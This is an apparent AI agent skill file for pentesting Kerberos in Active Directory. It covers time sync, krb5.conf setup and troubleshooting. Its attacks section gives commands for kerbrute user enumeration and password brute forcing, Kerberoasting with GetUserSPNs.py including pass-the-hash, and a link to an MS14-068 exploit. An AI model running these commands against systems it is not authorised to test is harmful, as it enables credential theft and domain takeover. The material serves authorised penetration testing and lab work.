| name | kerberos-pentesting |
| description | Pentest Kerberos services (port 88/tcp/udp) in Active Directory environments. Use this skill whenever the user mentions Kerberos, port 88, AD authentication, TGT tickets, krb5.conf, GSSAPI, or needs to authenticate to Windows/AD services. Also trigger for Kerberos enumeration, brute force attacks, MS14-068 exploitation, or any AD pentesting task involving authentication protocols. |
Kerberos Pentesting Skill
A comprehensive guide for pentesting Kerberos authentication services in Active Directory environments.
What This Skill Does
This skill helps you:
- Set up Kerberos authentication for pentesting tools
- Troubleshoot Kerberos connection issues
- Enumerate users and services via Kerberos
- Perform Kerberos-based attacks and exploitation
- Configure proper time synchronization and realm settings
Quick Start
1. Time Synchronization (Critical)
Kerberos requires time sync within 5 minutes. If your clock is skewed, you'll see KRB_AP_ERR_SKEW errors.
sudo ntpdate <dc.fqdn>
sudo chronyd -q 'server <dc.fqdn> iburst'
2. Generate krb5.conf
You need a valid krb5.conf for the target realm. Use netexec to generate one:
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
3. Obtain TGT and Verify
kinit <user>
klist
4. Use Kerberos with Tools
netexec smb <dc.fqdn> -k
smbclient --kerberos //<dc.fqdn>/IPC$
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Common Issues and Solutions
"Server not found in Kerberos database"
This means the FQDN you're using doesn't match the host SPN. Ensure:
- Your
/etc/hosts resolves the exact FQDN you'll connect to
- The FQDN comes before any bare domain entries if overriding DNS
- You're using the correct realm name in krb5.conf
"STATUS_NOT_SUPPORTED" on SMB
NTLM is disabled on the target. Force Kerberos:
netexec smb <dc.fqdn> -k
"KRB_AP_ERR_SKEW"
Time is out of sync. Run the time sync commands above.
Enumeration and Attacks
User Enumeration
nmap -p 88 --script=krb5-enum-users \
--script-args krb5-enum-users.realm="{Domain_Name}",userdb={Big_Userlist} \
{IP}
Brute Force with kerbrute
git clone https://github.com/ropnop/kerbrute.git ./kerbrute
cd kerbrute && go build
./kerbrute userenum -d domain.com -u users.txt
./kerbrute bruteuser -d domain.com -u username -p passwords.txt
GetUserSPNs.py
Get Service Principal Names for potential Kerberoasting:
GetUserSPNs.py -request -dc-ip {IP} active.htb/svc_tgs
GetUserSPNs.py -hashes :{hash} -dc-ip {IP} active.htb/svc_tgs
MS14-068 Exploitation
The MS14-068 vulnerability allows tampering with Kerberos login tokens to claim elevated privileges (e.g., Domain Admin).
Reference: https://adsecurity.org/?p=541
Exploit: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
Helper Scripts
Use the bundled scripts for common tasks:
scripts/check-krb5-config.sh - Validate your krb5.conf setupscripts/sync-time.sh - Quick time synchronizationscripts/test-kerberos-auth.sh - Test Kerberos authentication
Important Notes
-
Kerberos authenticates, doesn't authorize - It confirms user identity but doesn't manage resource permissions. Services handle access control after authentication.
-
Always use FQDNs - Kerberos is sensitive to exact hostname matching. Use fully qualified domain names.
-
CCache is key - Once you have a TGT in your ccache, you can authenticate without passwords. Keep it secure.
-
NTLM vs Kerberos - If NTLM is disabled on domain services, you MUST use Kerberos. Add -k to tools that support it.
References
